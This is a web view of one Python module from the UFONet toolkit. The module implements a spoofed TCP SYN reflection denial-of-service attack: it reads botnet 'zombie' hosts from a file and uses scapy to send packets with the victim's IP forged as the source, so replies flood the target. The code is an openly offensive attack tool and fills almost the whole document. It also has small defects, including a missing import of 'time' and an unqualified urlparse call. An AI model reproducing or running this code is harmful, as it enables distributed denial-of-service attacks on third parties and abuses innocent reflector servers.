Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/spray.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
import urllib.parse
14
try:
15
from scapy import *
16
except:
17
print("\nError importing: scapy lib.\n")
18
sys.exit(2)
19
20
# UFONet TCP SYN Reflector (SPRAY)
21
def randInt():
22
x = random.randint(1,65535) # TCP ports
23
return x
24
25
def sIP(base_stations): # extract 'base stations'
26
bs = {}
27
s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
28
if not s_zombie in bs:
29
url = urllib.parse.urlparse(s_zombie)
30
try:
31
s_zombie_ip = socket.gethostbyname(url.netloc)
32
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
33
except:
34
try:
35
import dns.resolver
36
r = dns.resolver.Resolver()
37
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
38
a = r.query(url.netloc, "A") # A record
39
for rd in a:
40
s_zombie_ip = str(rd)
41
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
42
except:
43
s_zombie_ip = s_zombie
44
else:
45
s_zombie_ip = bs.get(s_zombie)
46
return s_zombie_ip
47
48
def sprayize(ip, sport, rounds):
49
f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
50
base_stations = f.readlines()
51
base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
52
f.close()
53
n=0
54
try:
55
for x in range (0,int(rounds)):
56
n=n+1
57
s_zombie_ip = sIP(base_stations)
58
if s_zombie_ip == None: # not any 'base stations' available
59
print("[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n")
60
break
61
seq = randInt()
62
window = randInt()
63
IP_p = IP()
64
try:
65
IP_p.src = ip # SYN packets carring fraudulent (spoofed) source IP belonging to target (aka DrDoS)
66
except:
67
print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n")
68
break
69
try:
70
IP_p.dst = s_zombie_ip
71
except:
72
print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
73
break
74
TCP_l = TCP()
75
TCP_l.sport = sport
76
TCP_l.dport = sport
77
TCP_l.seq = seq
78
TCP_l.window = window
79
TCP_l.flags = "S" # SYN
80
SYNACK=(IP_p/TCP_l)
81
TCP_l.flags = "A" # ACK
82
TCP_l.seq = SYNACK.ack+1
83
TCP_l.ack = SYNACK.seq+1
84
try:
85
send(IP_p/TCP_l, verbose=0)
86
print(("[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"))
87
time.sleep(1) # sleep time required for balanced sucess
88
except:
89
print(("[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"))
90
except:
91
print("[Error] [AI] [SPRAY] Failing to engage... -> Is still target online? -> [Checking!]")
92
93
class SPRAY(object):
94
def attacking(self, target, rounds):
95
print(("[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [ " + str(rounds)+ " base stations ]"))
96
if target.startswith('http://'):
97
target = target.replace('http://','')
98
sport = 80
99
elif target.startswith('https://'):
100
target = target.replace('https://','')
101
sport = 443
102
try:
103
ip = socket.gethostbyname(target)
104
except:
105
try:
106
import dns.resolver
107
r = dns.resolver.Resolver()
108
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
109
url = urlparse(target)
110
a = r.query(url.netloc, "A") # A record
111
for rd in a:
112
ip = str(rd)
113
except:
114
ip = target
115
if ip == "127.0.0.1" or ip == "localhost":
116
print("[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
117
return
118
sprayize(ip, sport, rounds) # attack with SPRAY using threading
119
120